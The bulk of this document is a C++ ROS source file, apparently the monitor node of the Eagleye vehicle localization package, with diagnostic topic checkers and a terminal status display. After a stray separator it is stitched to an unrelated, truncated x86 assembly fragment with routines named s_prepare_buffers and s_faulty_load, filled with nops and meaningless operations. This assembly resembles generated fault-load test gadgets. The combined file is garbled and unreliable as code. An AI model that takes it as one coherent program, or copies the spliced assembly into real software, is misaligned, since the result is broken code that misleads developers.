void enu_relative_pos_callback(const eagleye_msgs::Position::ConstPtr& msg)
{
enu_relative_pos.header = msg->header;
enu_relative_pos.enu_pos = msg->enu_pos;
enu_relative_pos.ecef_base_pos = msg->ecef_base_pos;
enu_relative_pos.status = msg->status;
}
void enu_vel_callback(const geometry_msgs::Vector3Stamped::ConstPtr& msg)
{
enu_vel.header = msg->header;
enu_vel.vector = msg->vector;
}
void enu_absolute_pos_callback(const eagleye_msgs::Position::ConstPtr& msg)
{
enu_absolute_pos.header = msg->header;
enu_absolute_pos.enu_pos = msg->enu_pos;
enu_absolute_pos.ecef_base_pos = msg->ecef_base_pos;
enu_absolute_pos.status = msg->status;
}
void height_callback(const eagleye_msgs::Height::ConstPtr& msg)
{
height.header = msg->header;
height.height = msg->height;
height.status = msg->status;
}
void pitching_callback(const eagleye_msgs::Pitching::ConstPtr& msg)
{
pitching.header = msg->header;
pitching.pitching_angle = msg->pitching_angle;
pitching.status = msg->status;
}
void enu_absolute_pos_interpolate_callback(const eagleye_msgs::Position::ConstPtr& msg)
{
enu_absolute_pos_interpolate.header = msg->header;
enu_absolute_pos_interpolate.enu_pos = msg->enu_pos;
enu_absolute_pos_interpolate.ecef_base_pos = msg->ecef_base_pos;
enu_absolute_pos_interpolate.status = msg->status;
}
void eagleye_fix_callback(const sensor_msgs::NavSatFix::ConstPtr& msg)
{
eagleye_fix.header = msg->header;
eagleye_fix.status = msg->status;
eagleye_fix.latitude = msg->latitude;
eagleye_fix.longitude = msg->longitude;
eagleye_fix.altitude = msg->altitude;
eagleye_fix.position_covariance = msg->position_covariance;
eagleye_fix.position_covariance_type = msg->position_covariance_type;
}
void eagleye_twist_callback(const geometry_msgs::TwistStamped::ConstPtr& msg)
{
eagleye_twist.header = msg->header;
eagleye_twist.twist = msg->twist;
}
void imu_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (imu_time_last == imu.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::STALE;
msg = "not subscribed to topic";
}
imu_time_last = imu.header.stamp.toSec();
stat.summary(level, msg);
}
void rtklib_nav_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (rtklib_nav_time_last - rtklib_nav.header.stamp.toSec() > th_gnss_deadrock_time) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed or deadlock of more than 10 seconds";
}
rtklib_nav_time_last = rtklib_nav.header.stamp.toSec();
stat.summary(level, msg);
}
void navsat_fix_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (navsat_fix_time_last - navsat_fix.header.stamp.toSec() > th_gnss_deadrock_time || !navsat_fix_sub_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
navsat_fix_time_last = navsat_fix.header.stamp.toSec();
stat.summary(level, msg);
}
void velocity_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (velocity_time_last == velocity.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::STALE;
msg = "not subscribed to topic";
}
velocity_time_last = velocity.header.stamp.toSec();
stat.summary(level, msg);
}
void velocity_scale_factor_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (velocity_scale_factor_time_last == velocity_scale_factor.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(velocity_scale_factor.scale_factor)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!velocity_scale_factor.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
velocity_scale_factor_time_last = velocity_scale_factor.header.stamp.toSec();
stat.summary(level, msg);
}
void distance_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (distance_time_last == distance.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(distance.distance)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!distance.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
distance_time_last = distance.header.stamp.toSec();
stat.summary(level, msg);
}
void heading_1st_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (!std::isfinite(heading_1st.heading_angle)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (heading_1st_time_last - heading_1st.header.stamp.toSec() > th_gnss_deadrock_time) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed or deadlock of more than 10 seconds";
}
else if (!heading_1st.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
heading_1st_time_last = heading_1st.header.stamp.toSec();
stat.summary(level, msg);
}
void heading_interpolate_1st_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (heading_interpolate_1st_time_last == heading_interpolate_1st.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(heading_interpolate_1st.heading_angle)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!heading_interpolate_1st.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
heading_interpolate_1st_time_last = heading_interpolate_1st.header.stamp.toSec();
stat.summary(level, msg);
}
void heading_2nd_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (!std::isfinite(heading_2nd.heading_angle)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (heading_2nd_time_last - heading_2nd.header.stamp.toSec() > th_gnss_deadrock_time) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed or deadlock of more than 10 seconds";
}
else if (!heading_2nd.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
heading_2nd_time_last = heading_2nd.header.stamp.toSec();
stat.summary(level, msg);
}
void heading_interpolate_2nd_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (heading_interpolate_2nd_time_last == heading_interpolate_2nd.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(heading_interpolate_2nd.heading_angle)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!heading_interpolate_2nd.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
heading_interpolate_2nd_time_last = heading_interpolate_2nd.header.stamp.toSec();
stat.summary(level, msg);
}
void heading_3rd_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (!std::isfinite(heading_3rd.heading_angle)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (heading_3rd_time_last - heading_3rd.header.stamp.toSec() > th_gnss_deadrock_time) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed or deadlock of more than 10 seconds";
}
else if (!heading_3rd.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
heading_3rd_time_last = heading_3rd.header.stamp.toSec();
stat.summary(level, msg);
}
void heading_interpolate_3rd_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (heading_interpolate_3rd_time_last == heading_interpolate_3rd.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(heading_interpolate_3rd.heading_angle)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!heading_interpolate_3rd.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
heading_interpolate_3rd_time_last = heading_interpolate_3rd.header.stamp.toSec();
stat.summary(level, msg);
}
void yawrate_offset_stop_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (yawrate_offset_stop_time_last == yawrate_offset_stop.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(yawrate_offset_stop.yawrate_offset)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!yawrate_offset_stop.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
yawrate_offset_stop_time_last = yawrate_offset_stop.header.stamp.toSec();
stat.summary(level, msg);
}
void yawrate_offset_1st_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (yawrate_offset_1st_time_last == yawrate_offset_1st.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(yawrate_offset_1st.yawrate_offset)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!yawrate_offset_1st.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
yawrate_offset_1st_time_last = yawrate_offset_1st.header.stamp.toSec();
stat.summary(level, msg);
}
void yawrate_offset_2nd_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (yawrate_offset_2nd_time_last == yawrate_offset_2nd.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(yawrate_offset_2nd.yawrate_offset)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!yawrate_offset_2nd.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
yawrate_offset_2nd_time_last = yawrate_offset_2nd.header.stamp.toSec();
stat.summary(level, msg);
}
void slip_angle_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (slip_angle_time_last == slip_angle.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(slip_angle.slip_angle)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (slip_angle.coefficient == 0) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "/slip_angle/manual_coefficient is not set";
}
else if (!slip_angle.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
slip_angle_time_last = slip_angle.header.stamp.toSec();
stat.summary(level, msg);
}
void enu_vel_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (!std::isfinite(enu_vel.vector.x)||!std::isfinite(enu_vel.vector.y)||!std::isfinite(enu_vel.vector.z)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (enu_vel_time_last == enu_vel.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
enu_vel_time_last = enu_vel.header.stamp.toSec();
stat.summary(level, msg);
}
void height_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (height_time_last == height.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(height.height)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!height.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
height_time_last = height.header.stamp.toSec();
stat.summary(level, msg);
}
void pitching_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (pitching_time_last == pitching.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed to topic";
}
else if (!std::isfinite(pitching.pitching_angle)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (!pitching.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
pitching_time_last = pitching.header.stamp.toSec();
stat.summary(level, msg);
}
void enu_absolute_pos_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (!std::isfinite(enu_absolute_pos.enu_pos.x)||!std::isfinite(enu_absolute_pos.enu_pos.y)||!std::isfinite(enu_absolute_pos.enu_pos.z)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (enu_absolute_pos_time_last - enu_absolute_pos.header.stamp.toSec() > th_gnss_deadrock_time) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed or deadlock of more than 10 seconds";
}
else if (!enu_absolute_pos.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
enu_absolute_pos_time_last = enu_absolute_pos.header.stamp.toSec();
stat.summary(level, msg);
}
void enu_absolute_pos_interpolate_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (!std::isfinite(enu_absolute_pos_interpolate.enu_pos.x)||!std::isfinite(enu_absolute_pos_interpolate.enu_pos.y)||!std::isfinite(enu_absolute_pos_interpolate.enu_pos.z)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
else if (enu_absolute_pos_interpolate_time_last == enu_absolute_pos_interpolate.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "not subscribed or deadlock of more than 10 seconds";
}
else if (!enu_absolute_pos_interpolate.status.enabled_status) {
level = diagnostic_msgs::DiagnosticStatus::WARN;
msg = "estimates have not started yet";
}
enu_absolute_pos_interpolate_time_last = enu_absolute_pos_interpolate.header.stamp.toSec();
stat.summary(level, msg);
}
void twist_topic_checker(diagnostic_updater::DiagnosticStatusWrapper & stat)
{
int8_t level = diagnostic_msgs::DiagnosticStatus::OK;
std::string msg = "OK";
if (eagleye_twist_time_last == eagleye_twist.header.stamp.toSec()) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "not subscribed or deadlock of more than 10 seconds";
}
else if (!std::isfinite(eagleye_twist.twist.linear.x)||!std::isfinite(eagleye_twist.twist.linear.y)||!std::isfinite(eagleye_twist.twist.linear.z)
||!std::isfinite(eagleye_twist.twist.angular.x)||!std::isfinite(eagleye_twist.twist.angular.y)||!std::isfinite(eagleye_twist.twist.angular.z)) {
level = diagnostic_msgs::DiagnosticStatus::ERROR;
msg = "invalid number";
}
eagleye_twist_time_last = eagleye_twist.header.stamp.toSec();
stat.summary(level, msg);
}
void printStatus(void)
{
std::cout << std::endl;
std::cout<<"\033[1;33m Eagleye status \033[m"<<std::endl;
std::cout << std::endl;
std::cout << std::fixed;
std::cout << "--- \033[1;34m imu(input)\033[m ------------------------------"<< std::endl;
std::cout<<"\033[1m linear_acceleration \033[mx "<<std::setprecision(6)<<imu.linear_acceleration.x<<" [m/s^2]"<<std::endl;
std::cout<<"\033[1m linear acceleration \033[my "<<std::setprecision(6)<<imu.linear_acceleration.y<<" [m/s^2]"<<std::endl;
std::cout<<"\033[1m linear acceleration \033[mz "<<std::setprecision(6)<<imu.linear_acceleration.z<<" [m/s^2]"<<std::endl;
std::cout<<"\033[1m angular velocity \033[mx "<<std::setprecision(6)<<imu.angular_velocity.x<<" [rad/s]"<<std::endl;
std::cout<<"\033[1m angular velocity \033[my "<<std::setprecision(6)<<imu.angular_velocity.y<<" [rad/s]"<<std::endl;
std::cout<<"\033[1m angular velocity \033[mz "<<std::setprecision(6)<<imu.angular_velocity.z<<" [rad/s]"<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m velocity(input)\033[m -------------------------"<< std::endl;
std::cout<<"\033[1m velocity \033[m"<<std::setprecision(4)<<velocity.twist.linear.x * 3.6<<" [km/h]"<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m rtklib(input)\033[m ---------------------------"<< std::endl;
std::cout<<"\033[1m time of week \033[m"<<rtklib_nav.tow<<" [ms]"<<std::endl;
std::cout<<"\033[1m latitude \033[m"<<std::setprecision(8)<<rtklib_nav.status.latitude<<" [deg]"<<std::endl;
std::cout<<"\033[1m longitude \033[m"<<std::setprecision(8)<<rtklib_nav.status.longitude<<" [deg]"<<std::endl;
std::cout<<"\033[1m altitude \033[m"<<std::setprecision(4)<<rtklib_nav.status.altitude<<" [m]"<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m navsat(input)\033[m ------------------------------"<< std::endl;
if(navsat_fix_sub_status)
{
std::cout<< "\033[1m rtk status \033[m "<<int(navsat_fix.status.status)<<std::endl;
std::cout<< "\033[1m rtk status \033[m "<<(navsat_fix.status.status ? "\033[1;31mNo Fix\033[m" : "\033[1;32mFix\033[m")<<std::endl;
std::cout<<"\033[1m latitude \033[m"<<std::setprecision(8)<<navsat_fix.latitude<<" [deg]"<<std::endl;
std::cout<<"\033[1m longitude \033[m"<<std::setprecision(8)<<navsat_fix.longitude<<" [deg]"<<std::endl;
std::cout<<"\033[1m altitude \033[m"<<std::setprecision(4)<<navsat_fix.altitude<<" [m]"<<std::endl;
std::cout << std::endl;
}
else
{
std::cout << std::endl;
std::cout<<"\033[1;31m no subscription \033[m"<<std::endl;
std::cout << std::endl;
}
std::cout << "--- \033[1;34m velocity SF\033[m -----------------------------"<< std::endl;
std::cout<<"\033[1m scale factor \033[m "<<std::setprecision(4)<<velocity_scale_factor.scale_factor<<std::endl;
std::cout<<"\033[1m correction velocity \033[m "<<std::setprecision(4)<<velocity_scale_factor.correction_velocity.linear.x * 3.6<<" [km/h]"<<std::endl;
std::cout<< "\033[1m status enable \033[m "<<(velocity_scale_factor.status.enabled_status ? "\033[1;32mTrue\033[m" : "\033[1;31mFalse\033[m")<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m yawrate offset stop\033[m ---------------------"<< std::endl;
std::cout<<"\033[1m yawrate offset \033[m "<<std::setprecision(6)<<yawrate_offset_stop.yawrate_offset<<" [rad/s]"<<std::endl;
std::cout<< "\033[1m status enable \033[m "<<(yawrate_offset_stop.status.enabled_status ? "\033[1;32mTrue\033[m" : "\033[1;31mFalse\033[m")<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m yawrate offset\033[m --------------------------"<< std::endl;
std::cout<<"\033[1m yawrate offset \033[m "<<std::setprecision(6)<<yawrate_offset_2nd.yawrate_offset<<" [rad/s]"<<std::endl;
std::cout<< "\033[1m status enable \033[m "<<(yawrate_offset_2nd.status.enabled_status ? "\033[1;32mTrue\033[m" : "\033[1;31mFalse\033[m")<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m slip angle\033[m ------------------------------"<< std::endl;
std::cout<<"\033[1m coefficient \033[m "<<std::setprecision(6)<<slip_angle.coefficient<<std::endl;
std::cout<<"\033[1m slip angle \033[m "<<std::setprecision(6)<<slip_angle.slip_angle<<" [rad]"<<std::endl;
std::cout<< "\033[1m status enable \033[m "<<(slip_angle.status.enabled_status ? "\033[1;32mTrue\033[m" : "\033[1;31mFalse\033[m")<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m heading\033[m ---------------------------------"<< std::endl;
std::cout<<"\033[1m heading \033[m "<<std::setprecision(6)<<heading_interpolate_3rd.heading_angle<<" [rad/s]"<<std::endl;
std::cout<< "\033[1m status enable \033[m "<<(heading_interpolate_3rd.status.enabled_status ? "\033[1;32mTrue\033[m" : "\033[1;31mFalse\033[m")<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m pitching\033[m --------------------------------"<< std::endl;
std::cout<<"\033[1m pitching \033[m "<<std::setprecision(6)<<pitching.pitching_angle<<" [rad]"<<std::endl;
std::cout<< "\033[1m status enable \033[m "<<(pitching.status.enabled_status ? "\033[1;32mTrue\033[m" : "\033[1;31mFalse\033[m")<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m height\033[m ----------------------------------"<< std::endl;
std::cout<<"\033[1m height \033[m "<<std::setprecision(4)<<height.height<<" [m]"<<std::endl;
std::cout<< "\033[1m status enable \033[m "<<(height.status.enabled_status ? "\033[1;32mTrue\033[m" : "\033[1;31mFalse\033[m")<<std::endl;
std::cout << std::endl;
std::cout << "--- \033[1;34m position\033[m --------------------------------"<< std::endl;
std::cout<<"\033[1m latitude \033[m"<<std::setprecision(8)<<eagleye_fix.latitude<<" [deg]"<<std::endl;
std::cout<<"\033[1m longitude \033[m"<<std::setprecision(8)<<eagleye_fix.longitude<<" [deg]"<<std::endl;
std::cout<<"\033[1m altitude \033[m"<<std::setprecision(4)<<eagleye_fix.altitude<<" [m]"<<std::endl;
std::cout<< "\033[1m status enable \033[m "<<(enu_absolute_pos_interpolate.status.enabled_status ? "\033[1;32mTrue\033[m" : "\033[1;31mFalse\033[m")<<std::endl;
std::cout << std::endl;
}
void timer_callback(const ros::TimerEvent& e, diagnostic_updater::Updater * updater_)
{
// Diagnostic Updater
updater_->force_update();
}
void imu_callback(const sensor_msgs::Imu::ConstPtr& msg)
{
imu.header = msg->header;
imu.orientation = msg->orientation;
imu.orientation_covariance = msg->orientation_covariance;
imu.angular_velocity = msg->angular_velocity;
imu.angular_velocity_covariance = msg->angular_velocity_covariance;
imu.linear_acceleration = msg->linear_acceleration;
imu.linear_acceleration_covariance = msg->linear_acceleration_covariance;
if(print_status)
{
printStatus();
}
}
int main(int argc, char** argv)
{
ros::init(argc, argv, "monitor");
ros::NodeHandle n;
std::string subscribe_twist_topic_name = "/can_twist";
std::string subscribe_imu_topic_name = "/imu/data_raw";
std::string subscribe_rtklib_nav_topic_name = "/rtklib_nav";
std::string subscribe_navsatfix_topic_name = "/navsatfix/fix";
n.getParam("twist_topic",subscribe_twist_topic_name);
n.getParam("imu_topic",subscribe_imu_topic_name);
n.getParam("rtklib_nav_topic",subscribe_rtklib_nav_topic_name);
n.getParam("navsatfix_topic",subscribe_navsatfix_topic_name);
n.getParam("monitor/print_status",print_status);
std::cout<< "subscribe_twist_topic_name "<<subscribe_twist_topic_name<<std::endl;
std::cout<< "subscribe_imu_topic_name "<<subscribe_imu_topic_name<<std::endl;
std::cout<< "subscribe_rtklib_nav_topic_name "<<subscribe_rtklib_nav_topic_name<<std::endl;
std::cout<< "subscribe_navsatfix_topic_name "<<subscribe_navsatfix_topic_name<<std::endl;
std::cout<< "print_status "<<print_status<<std::endl;
// // Diagnostic Updater
diagnostic_updater::Updater updater_;
updater_.setHardwareID("topic_checker");
updater_.add("eagleye_input_imu", imu_topic_checker);
updater_.add("eagleye_input_rtklib_nav", rtklib_nav_topic_checker);
updater_.add("eagleye_input_navsat_fix", navsat_fix_topic_checker);
updater_.add("eagleye_input_velocity", velocity_topic_checker);
updater_.add("eagleye_velocity_scale_factor", velocity_scale_factor_topic_checker);
updater_.add("eagleye_distance", distance_topic_checker);
updater_.add("eagleye_heading_1st", heading_1st_topic_checker);
updater_.add("eagleye_heading_interpolate_1st", heading_interpolate_1st_topic_checker);
updater_.add("eagleye_heading_2nd", heading_2nd_topic_checker);
updater_.add("eagleye_heading_interpolate_2nd", heading_interpolate_2nd_topic_checker);
updater_.add("eagleye_heading_3rd", heading_3rd_topic_checker);
updater_.add("eagleye_heading_interpolate_3rd", heading_interpolate_3rd_topic_checker);
updater_.add("eagleye_yawrate_offset_stop", yawrate_offset_stop_topic_checker);
updater_.add("eagleye_yawrate_offset_1st", yawrate_offset_1st_topic_checker);
updater_.add("eagleye_yawrate_offset_2nd", yawrate_offset_2nd_topic_checker);
updater_.add("eagleye_slip_angle", slip_angle_topic_checker);
updater_.add("eagleye_enu_vel", enu_vel_topic_checker);
updater_.add("eagleye_height", height_topic_checker);
updater_.add("eagleye_pitching", pitching_topic_checker);
updater_.add("eagleye_enu_absolute_pos", enu_absolute_pos_topic_checker);
updater_.add("eagleye_enu_absolute_pos_interpolate", enu_absolute_pos_interpolate_topic_checker);
updater_.add("eagleye_twist", twist_topic_checker);
ros::Subscriber sub1 = n.subscribe(subscribe_imu_topic_name, 1000, imu_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub2 = n.subscribe(subscribe_rtklib_nav_topic_name, 1000, rtklib_nav_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub3 = n.subscribe("rtklib/fix", 1000, fix_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub4 = n.subscribe(subscribe_navsatfix_topic_name, 1000, navsatfix_fix_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub5 = n.subscribe(subscribe_twist_topic_name, 1000, velocity_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub6 = n.subscribe("velocity_scale_factor", 1000, velocity_scale_factor_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub7 = n.subscribe("distance", 1000, distance_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub8 = n.subscribe("heading_1st", 1000, heading_1st_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub9 = n.subscribe("heading_interpolate_1st", 1000, heading_interpolate_1st_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub10 = n.subscribe("heading_2nd", 1000, heading_2nd_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub11 = n.subscribe("heading_interpolate_2nd", 1000, heading_interpolate_2nd_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub12 = n.subscribe("heading_3rd", 1000, heading_3rd_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub13 = n.subscribe("heading_interpolate_3rd", 1000, heading_interpolate_3rd_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub14 = n.subscribe("yawrate_offset_stop", 1000, yawrate_offset_stop_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub15 = n.subscribe("yawrate_offset_1st", 1000, yawrate_offset_1st_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub16 = n.subscribe("yawrate_offset_2nd", 1000, yawrate_offset_2nd_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub17 = n.subscribe("slip_angle", 1000, slip_angle_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub18 = n.subscribe("enu_relative_pos", 1000, enu_relative_pos_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub19 = n.subscribe("enu_vel", 1000, enu_vel_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub20 = n.subscribe("height", 1000, height_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub21 = n.subscribe("pitching", 1000, pitching_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub22 = n.subscribe("enu_absolute_pos", 1000, enu_absolute_pos_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub23 = n.subscribe("enu_absolute_pos_interpolate", 1000, enu_absolute_pos_interpolate_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub24 = n.subscribe("fix", 1000, eagleye_fix_callback, ros::TransportHints().tcpNoDelay());
ros::Subscriber sub25 = n.subscribe("twist", 1000, eagleye_twist_callback, ros::TransportHints().tcpNoDelay());
ros::Timer timer = n.createTimer(ros::Duration(1/update_rate), boost::bind(timer_callback,_1, &updater_));
ros::spin();
return 0;
} |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x12949, %rcx
nop
nop
nop
nop
nop
and %rax, %rax
movw $0x6162, (%rcx)
sub $12673, %r8
lea addresses_WC_ht+0x1e549, %rsi
lea addresses_D_ht+0x13d59, %rdi
nop
nop
nop
nop
dec %r8
mov $113, %rcx
rep movsw
sub %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r9
push %rbx
push %rdi
push %rsi
// Faulty Load
lea addresses_RW+0x1e6d9, %rsi
nop
add %rdi, %rdi
